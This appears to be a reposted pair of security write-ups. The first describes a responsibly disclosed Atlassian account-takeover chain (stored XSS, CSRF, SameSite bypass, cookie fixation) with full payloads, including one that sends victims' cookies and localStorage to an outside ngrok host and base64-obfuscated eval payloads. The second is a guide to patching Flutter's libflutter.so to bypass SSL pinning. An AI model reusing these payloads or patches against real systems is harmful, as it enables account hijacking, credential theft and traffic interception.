A supply-chain breach: Taking over an Atlassian account

A supply-chain breach: Taking over an Atlassian account

Original text by Dikla Barda, Yaara Shriki, Roman Zaikin and Oded Vanunu

Background

With more than 180,000 customers globally, and millions of users, the Australian 2002 founded company “Atlassian” develops products for software developers, project managers and other software related teams that uses the platform for data collaboration and information sharing.

While workforces globally turned to remote work as a result of the outbreak of COVID-19, tools such as the ones offered by Atlassian became more popular and critical for teams while the need for a seamless transition to a new work mode became a global necessity.

Atlassian, referring to this as “The Rise of Work Anywhere”, conducted a research about the nature of remote work during the Pandemic. The study surveyed more than 5,000 participants in Australia, France, Germany, Japan, and the US, and shows how the nuances of modern work have been amplified, demanding a shift in the way organizations manage an increasingly distributed workforce.

Breaking on through the Platform

On November 16, 2020 Check Point Research (CPR) uncovered chained vulnerabilities that together can be used to take over an account and control some of Atlassian apps connected through SSO, Some of the affected domains are:

  • jira.atlassian.com
  • confluence.atlassian.com
  • getsupport.atlassian.com
  • partners.atlassian.com
  • developer.atlassian.com
  • support.atlassian.com
  • training.atlassian.com

What makes a supply chain attack such as this one so significant is the fact that once the attacker leverages these vulnerabilities and takes over an account, he can plant backdoors that he can use in the future for his attack. This can create a severe damage which will be identified and controlled only much after the damage is done.

Check Point Research responsibly disclosed this information to the Atlassian teams which and a solution was deployed to ensure its users can safely continue to share info on the various platforms

Deep Dive

Atlassian uses SSO (Single Sign-On) to navigate between Atlassian products such as JIRA, Confluence and Partners.

Atlassian implements various web security measures such as CSP, SameSite “Strict” cookies and HttpOnly cookies. We had to bypass these security methods using a combination of several attack techniques. Overall we were able to achieve Full Account Take-Over.

First, we had to find a way to inject code into Atlassian – which we used the XSS and CSRF for. Then, using this code injection, we were able to add a new session cookie to the user’s account, and by combining the session fixation vulnerability in Atlassian domains, we were able to take over accounts.

Let us dive in into the first bug we found:

XSS

The first security issue was found on the subdomain training.atlassian.com. The Training platform offers users courses or credits.
We noticed that the Content Security Policy (CSP) was configured poorly on this subdomain with ‘unsafe-inline’ and ‘unsafe-eval’ directives which allows script execution. This makes this subdomain a perfect starting point for our research

We examined the request parameters when adding courses and credits to the shopping cart. We found that when the item type is “training_credit”, an additional parameter called “options._training_credit_account” is added to request. This parameter was found vulnerable to XSS.

Let’s test a simple payload to receive all of the user’s cookies and local storage:

"><svg/onload="window.location.href=`//7a4389292a5d.ngrok.io?l=${JSON.stringify(localStorage)}&c=${document.cookie}`">

It works!

And we received all the cookies and the local storage of the target:

CSRF

Since the Stored XSS can only be run when adding items to the shopping cart, we needed to make the user add a malicious item without their notice. Then, because there is no CSRF token we could perform CSRF attack on the shopping list and execute our payload.

In order to achieve that, we uploaded the following POC to our servers and sent it to the victim:

<html>

                <head></head>

                <body onload=”document.forms[0].submit()”>

                   <form method=”post” action=”https://training.atlassian.com/cart”>

                                <input type=”hidden” name=”itemType” value=’training_credit’>

                                <input type=”hidden” name=”itemId” value=’1′>

                                <input type=”hidden” name=”options._quantity” value=’10’>

                                <input type=”hidden” name=”options._training_credit_account” value=’”><svg/onload=”window.location.href=`//7a4389292a5d.ngrok.io?l=${JSON.stringify(localStorage)}&c=${document.cookie}`”>’>

                                <input type=”hidden” name=”action” value=’add’>

                   </form>

                </body>

</html>

However, some of the cookies related to the session of the victim are set to SameSite “Strict” which means the browser prevents them from being sent to the backend.

Surprisingly, we found that during the SSO process those missing cookies are completed by the backend which will essentially bypass the SameSite “Strict” for us.

SameSite “Strict” Bypass

We will now describe the SSO flow. We start with the XSS payload from our origin https://7a4389292a5d.ngrok.io:

During the SSO flow, the user gets redirected several times to different paths, such as: /auth/cart ,login.html, etc. Throughout the redirect process, the user goes through the authentication process, which adds the missing cookies that we needed and were protected by SameSite.
Because our payload was Stored XSS it was stored in the database and was added to the Shopping List. Here we can see that the payload was injected successfully into the page:

And the malicious item was added to the shopping cart:

At this step we bypassed SameSite “Strict” for CSRF and CSP with inline JavaScript.

However, the more interesting cookie is JSESSIONID which is protected by “HttpOnly” and we can’t hijack it via JavaScript.

At this point we can perform actions on behalf of the user but not login to his account. We dived in further into the SSO flow in order to find another flaw in the process.

HTTPOnly Bypass and Cookie Fixation

What is cookie fixation?

Cookie Fixation is when an attacker can remotely force the user to use a session cookie known to him, which becomes authenticated.

Initially, when the user browses to the login page, the server generates a new session cookie with ‘path=/’ flag. That cookie isn’t associated with any account and only after the user passes the authentication process that same cookie will be associated to his account.

We knew that using the XSS we couldn’t get the user’s session cookie, since it was protected by HTTPOnly flag. Instead, we could create a new forged one. The newly created JSESSION cookie has the same flags as the original, with one major change – the path flag.

The original path flag is set to the root directory. We were wondering what would happen if we change it to a more a particular path. It turns out that our path will have priority since it is more specific and will be used instead of the original.

We changed the path to the exact directive we know the user will get redirected to after authentication which causes the backend to authorize our cookie over the original one.

By using cookie fixation, we bypassed the HTTPOnly and hijacked the user’s Atlassian account. We will demonstrate that on the following subdomains:

Training.atlassian.com

We started by navigating to the training.atlassian.com URL from a clean browser without any cache to get a new clean JSESSIONID cookie.

Now, we have a JSESSIONID without any information in it at the backend. If we will send a request to the user profile page we will be redirected to the login page.

We will now perform a Cookie Fixation on the target which will force him to use the forged Cookie by using the following steps:

We start by modifying our payload and adding the following cookie:


document.cookie = "JSESSIONID= 5B09C73BF13FE923A2E5B4EE0DAD30E3; Domain=training.atlassian.com; Path=

/auth0; Secure”

Note that the original HttpOnly cookie was set for the path “/”, but the new cookie we are setting in the payload is for the path “/auth0”. Browsing to /auth0, there are 2 cookies: the real one and ours. Ours will “win” in this case because it’s more specific.

We will use the following redirect to trigger the Auth with this cookie instead of the real one. The interesting parameter here is the “redirect_uri=https://training.atlassian.com/auth0” which will force the authentication for training.atlassian.com:

location.href="https://atlassianuni-learndot.auth0.com/authorize?
redirect_uri=https://training.atlassian.com/auth0
&amp;client_id=O7FdHY647VvbCTphBGmvfBt2GdgnH7MR&amp;audience=https%3A%2F%2Fatlassianuni-learndot.auth0.com%2Fuserinfo&amp;scope=openid%20profile%20email&amp;response_type=code&amp;state=HxElpPySsrRuKcYbFOlp9QkLZQ7kwDOemX7Dc-5dnlk"

This auth request will associate our cookie to the target account.

So now that we can control the JSESSIONID, we combined all of this steps and crafted the following payload:

&lt;html&gt;

<head></head>

<body onload=”document.forms[0].submit()”>

<form method=”post” action=”https://training.atlassian.com/cart”>

<input type=”hidden” name=”itemType” value=’training_credit’>

<input type=”hidden” name=”itemId” value=’1′>

<input type=”hidden” name=”options._quantity” value=’10’>

<input type=”hidden” name=”options._training_credit_account” value=’”><svg/onload=”eval(atob`ZG9jdW1lbnQuY29va2llPSJKU0VTU0lPTklEPTVCMDlDNzNCRjEzRkU5MjNBMkU1QjRFRTBEQUQzMEUzOyBEb21haW49dHJhaW5pbmcuYXRsYXNzaWFuLmNvbTsgUGF0aD0vYXV0aDA7IFNlY3VyZSI7IHNldFRpbWVvdXQoZnVuY3Rpb24oKXsgbG9jYXRpb24uaHJlZj0iaHR0cHM6Ly9hdGxhc3NpYW51bmktbGVhcm5kb3QuYXV0aDAuY29tL2F1dGhvcml6ZT9yZWRpcmVjdF91cmk9aHR0cHM6Ly90cmFpbmluZy5hdGxhc3NpYW4uY29tL2F1dGgwJmNsaWVudF9pZD1PN0ZkSFk2NDdWdmJDVHBoQkdtdmZCdDJHZGduSDdNUiZhdWRpZW5jZT1odHRwcyUzQSUyRiUyRmF0bGFzc2lhbnVuaS1sZWFybmRvdC5hdXRoMC5jb20lMkZ1c2VyaW5mbyZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwZW1haWwmcmVzcG9uc2VfdHlwZT1jb2RlJnN0YXRlPUh4RWxwUHlTc3JSdUtjWWJGT2xwOVFrTFpRN2t3RE9lbVg3RGMtNWRubGsiIH0sMzAwMCk7`)”>’>

<input type=”hidden” name=”action” value=’add’>

</form>

</body>

</html>

<!–

// Payload  Explain

btoa(‘    document.cookie=”JSESSIONID=5B09C73BF13FE923A2E5B4EE0DAD30E3; Domain=training.atlassian.com; Path=/auth0; Secure”; setTimeout(function(){ location.href=”https://atlassianuni-learndot.auth0.com/authorize?redirect_uri=https://training.atlassian.com/auth0&client_id=O7FdHY647VvbCTphBGmvfBt2GdgnH7MR&audience=https%3A%2F%2Fatlassianuni-learndot.auth0.com%2Fuserinfo&scope=openid%20profile%20email&response_type=code&state=HxElpPySsrRuKcYbFOlp9QkLZQ7kwDOemX7Dc-5dnlk” },3000);     ‘);

–>

The Cookie Fixation combined with the XSS and CSRF bugs allowed us to perform full Account Take-Over on Atlassian Training Platform.

With the same flow and Cookie Fixation we can navigate to other Atlassian products, for example, jira.atlassian.com

Jira.atlassian.com

To hijack Jira accounts with the same flow, we first need to create a session cookie to perform Cookie Fixation. We log in to jira.atlassian.com and take the following cookies:

  • JSESSIONID
  • AWSALB

In order to use these cookies for the Cookie Fixation the attacker needs to sign-out from his account to get clean JSESSIONID. We can verify that the cookie is not associated with any account anymore by sending a request to ViewProfile:

Next, we will modify our payload, we will perform the same method as we did in training.atlassian.com:

document.cookie=”JSESSIONID=1672885C3F5E4819DD4EF0BF749E56C9; Domain=.atlassian.com; Path=/plugins; Secure;”

document.cookie=”AWSALB=iAv6VKT5tbu/HFJVuu/dTE7R80wQXNjR+0opVbccE0zIadORJVGMZxCUcTIglL3OZ/A54eu/NDNLP5I3zE+WcgGWDHpv17SexjFBc1WYA9moC4wEmPooEE/Uqoo2; Domain=.atlassian.com; Path=/plugins/; Secure;”

Note that the original HTTPOnly cookie was set for the path “/”, but the new cookie we are setting is for the path “/plugins”. Browsing to /auth0, there are 2 cookies: the real one and ours. Ours will “win” in this case because it’s a path cookie.

We will use the following redirect to trigger the Auth with this cookie instead of the real one. The interesting parameter here is the “redirect_uri=https://jira.atlassian.com/plugins” which will force the authentication for jira.atlassian.com and redirect us to /plugins.

location.href=”https://auth.atlassian.com/authorize?redirect_uri=https://jira.atlassian.com/plugins/servlet/authentication/auth_plugin_original_url%3Dhttps%253A%252F%252Fjira.atlassian.com%252F&client_id=QxUVh9tTugoLC5cgY3Vjkz3h1jPSvG9p&scope=openid+email+profile&state=4118f57f-a9d9-4f6d-a1d5-add939762f23&response_type=code&prompt=none”This auth request will associate our cookie to the target account.

As can be seen in the following request, the cookie is now assosiated to the target user (“John Doe” in this case).

So now that we can control the JSESSIONID, we combined all of this steps and crafted the following payload:

&lt;html&gt;

<head></head>

<body onload=”document.forms[0].submit()”>

<form method=”post” action=”https://training.atlassian.com/cart”>

<input type=”hidden” name=”itemType” value=’training_credit’>

<input type=”hidden” name=”itemId” value=’1′>

<input type=”hidden” name=”options._quantity” value=’10’>

<input type=”hidden” name=”options._training_credit_account” value=’”><svg/onload=”eval(atob`ZG9jdW1lbnQuY29va2llPSJKU0VTU0lPTklEPTE2NzI4ODVDM0Y1RTQ4MTlERDRFRjBCRjc0OUU1NkM5OyBEb21haW49LmF0bGFzc2lhbi5jb207IFBhdGg9L3BsdWdpbnM7IFNlY3VyZTsiOyAgZG9jdW1lbnQuY29va2llPSJBV1NBTEI9aUF2NlZLVDV0YnUvSEZKVnV1L2RURTdSODB3UVhOalIrMG9wVmJjY0UweklhZE9SSlZHTVp4Q1VjVElnbEwzT1ovQTU0ZXUvTkROTFA1STN6RStXY2dHV0RIcHYxN1NleGpGQmMxV1lBOW1vQzR3RW1Qb29FRS9VcW9vMjsgRG9tYWluPS5hdGxhc3NpYW4uY29tOyBQYXRoPS9wbHVnaW5zLzsgU2VjdXJlOyI7ICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7IGxvY2F0aW9uLmhyZWY9Imh0dHBzOi8vYXV0aC5hdGxhc3NpYW4uY29tL2F1dGhvcml6ZT9yZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZqaXJhLmF0bGFzc2lhbi5jb20lMkZwbHVnaW5zJTJGc2VydmxldCUyRmF1dGhlbnRpY2F0aW9uJTNGYXV0aF9wbHVnaW5fb3JpZ2luYWxfdXJsJTNEaHR0cHMlMjUzQSUyNTJGJTI1MkZqaXJhLmF0bGFzc2lhbi5jb20lMjUyRiZjbGllbnRfaWQ9UXhVVmg5dFR1Z29MQzVjZ1kzVmprejNoMWpQU3ZHOXAmc2NvcGU9b3BlbmlkK2VtYWlsK3Byb2ZpbGUmc3RhdGU9NDExOGY1N2YtYTlkOS00ZjZkLWExZDUtYWRkOTM5NzYyZjIzJnJlc3BvbnNlX3R5cGU9Y29kZSZwcm9tcHQ9bm9uZSIgfSwzMDAwKTs=`);”>’>

<input type=”hidden” name=”action” value=’add’>

</form>

</body>

</html>

<!–

// Payload

btoa(‘

document.cookie=”JSESSIONID=1672885C3F5E4819DD4EF0BF749E56C9; Domain=.atlassian.com; Path=/plugins; Secure;”;

document.cookie=”AWSALB=iAv6VKT5tbu/HFJVuu/dTE7R80wQXNjR+0opVbccE0zIadORJVGMZxCUcTIglL3OZ/A54eu/NDNLP5I3zE+WcgGWDHpv17SexjFBc1WYA9moC4wEmPooEE/Uqoo2; Domain=.atlassian.com; Path=/plugins/; Secure;”;

setTimeout(function(){

location.href=”https://auth.atlassian.com/authorize?redirect_uri=https%3A%2F%2Fjira.atlassian.com%2Fplugins%2Fservlet%2Fauthentication%3Fauth_plugin_original_url%3Dhttps%253A%252F%252Fjira.atlassian.com%252F&client_id=QxUVh9tTugoLC5cgY3Vjkz3h1jPSvG9p&scope=openid+email+profile&state=4118f57f-a9d9-4f6d-a1d5-add939762f23&response_type=code&prompt=none”

},3000);

‘);

–>

The Cookie Fixation combined with the XSS and CSRF bugs from training.atlassian.com allowed us to perform full Account Take-Over on Jira.atlassian.com

Bitbucket

Another direction we looked into was checking if we could inject malicious code to an Organization’s Bitbucket. Bitbucket is a Git-based source code repository hosting service owned by Atlassian and has more than 10 million users. Accessing a company’s Bitbucket repositories could allow attackers to access and change source code, make it public or even plant backdoors.

With a Jira account at our hands, we have a few ways to obtain Bitbucket account. One option is by opening a Jira ticket with malicious link to an attacker controlled website.

An automatic mail will be sent from Atlassian domain to the user once the ticket is created on Jira systems. An attacker can take advantage of that and include in the ticket a link to a malicious website that steals the user’s credentials.

Conclusion

By using the XSS with CSRF that we found on training.atlassian.com combined with the method of Cookie fixation we were able to take over any Atlassian account, in just one click, on every subdomain under atlassian.com that doesn’t use JWT for the session and that is vulnerable to session fixation . For example: training.atlassian.com, jira.atlassian.com, developer.atlassian.com and more.

Taking over an account in such a collaborative platform means an ability to take over data that is not meant for unauthorized view.

Check Point Research responsibly disclosed this information to the Atlassian teams which and a solution was deployed to ensure its users can safely continue to share info on the various platforms

POC Video:

Bypassing SSL pinning on Android Flutter Apps with Ghidra

Bypassing SSL pinning on Android Flutter Apps with Ghidra

Original text by Raphael Denipotti

TL-DR

Android Apps built with the Flutter framework validate the secure connections and honour the Proxy settings in a different fashion when compared to apps written in dex). A binary dubbed libflutter.so seems to contain the dependencies responsible for establishing remote connections. This post shows the steps to patch the binary to bypass ssl pinning on Android apps (armeabi-v7a).

This binary (libflutter.so) seems to comprise the Flutter engine that is compiled (AOT). With that in mind I left the 2 patched binaries (armeabi-v7a and x86_64) to be used by security researchers when assessing Android Flutter apps that are using Dart 2.10.5 (stable). I tested these binaries on other Flutter apps using the same Dart version and they seemed to work just fine.

Additionally you can try to download the patched binary for your platform and replace within the app you want to analyze — remember to sign them before use and bear in mind that the Dart version influences the engine so different versions might not work.

Introduction

Flutter is an open-source SDK created and maintained by Google to ease the development of Mobile and Web applications. One of its main characteristics is the use of Dart as the programming language, changing some of the behaviors normally found on Android apps — i.e. Android Flutter apps don’t honour the Android proxy settings nor trust on the Android TrustManager. Some overview of its architecture can be found here.

Motivation

I’ve always been fond of bypassing SSL certificate pinning on Android apps since long ago when I was a security consultant. At that time I could never really understand how Frida worked but I recall trying to bypass ssl pinning by modifying smali code for known libs like okhttp.

Recently a friend of mine, Vinicius mentioned he was facing some challenges with an app that was built using Flutter. The main challenge arises from the fact that Flutter apps don’t trust the Android TrustManager. He also said that Frida could be used to instrument the boringssl library, one of the dependencies of the libflutter.so.

As I mentioned I’ve never been a fan of Frida as its abstraction always confused my shallow knowledge of binary analysis and code instrumentation. When Vinicius shared with me the libflutter.so alongside this blog post as a reference for intercepting traffic of Android Flutter Applications I found an opportunity to eliminate the use of Frida for this case and patch the binary to avoid certificate verification failures.

Analysis

Learning from Jeroen Beckers’s post that the exception was generated by the handshake.cc from the boringssl — that is also because Vinicius mentioned the app was suppressing errors which was making it harder to instrument with Frida.

With the method ssl_crypto_x509_session_verify_cert_chain being responsible to perform the validation and return a boolean value. Knowing that it’s a matter of trying to change its return to be always true (1):

In this analysis I used the armeabi-v7a ISA to depict the following steps.

Steps for armeabi-v7a

We will use Ghidra for this binary patching. Assuming you’ve already disassembled the apk (apktool d command) and got the libflutter.so from the related lib folder (/lib/armeabi-v7a/libflutter.so).

Note that for different instruction set architectures the patching process might differ. For x86_64 ISA, a very similar approach can be used while for arm64-v8a the return of the function is quite different (on Dart 2.10.5).

Open the libflutter.so using Ghidra. You will be asked if you would like Ghidra to analyze the binary. Hit Yes followed by Analyze.

After some (good) time of disassembling the instructions with Ghidra, it will present disassembled code that can be searched and read with its C representation. Knowing that the certificate validation happens in this piece of code:

Search for the references linking to this file [ Search | For Strings ]

The disassembler shows that the analyzed libflutter.so has 8 cross references (XREF) to the aforementioned file. Going over all of them, it’s possible to detect a function very similar to the ssl_crypto_x509_session_verify_cert_chain due to the parameters definition presented in the disassembled code:

Investigating the disassembled code and the instructions further, it’s possible to note that the register r4 is being used to hold the return value of the ssl_crypto_x509_session_verify_cert_chain:

Knowing this all we need to do is to change it to be 1 like in the following:

Note that the change we just did reflected in the disassembled code indicating that the function will always return 1 (true):

Save the changes (File | Save “libflutter.so”) and export the binary as following:

Make sure to select ELF format when exporting the file. Hit okay and cross your fingers.

If everything works fine you will see a summary like the following:

Now you just have to replace the patched binary within the disassembled apk, assemble (apktool b) and sign it again. Install the app on your device or emulator and good intercepting. It’s worth to note that as highlighted by Jeroen, “Dart is not proxy aware on Android” so the use of ProxyDroid or iptables is required.

Credits

Last but not least I’d like to give the credits to my friend Vinicius. Without his analysis and opportunity alongside a second shot on testing the app this method wouldn’t be documented.

And of course to Jeroen Beckers’ post that presented the initial steps with Frida and where/how to look.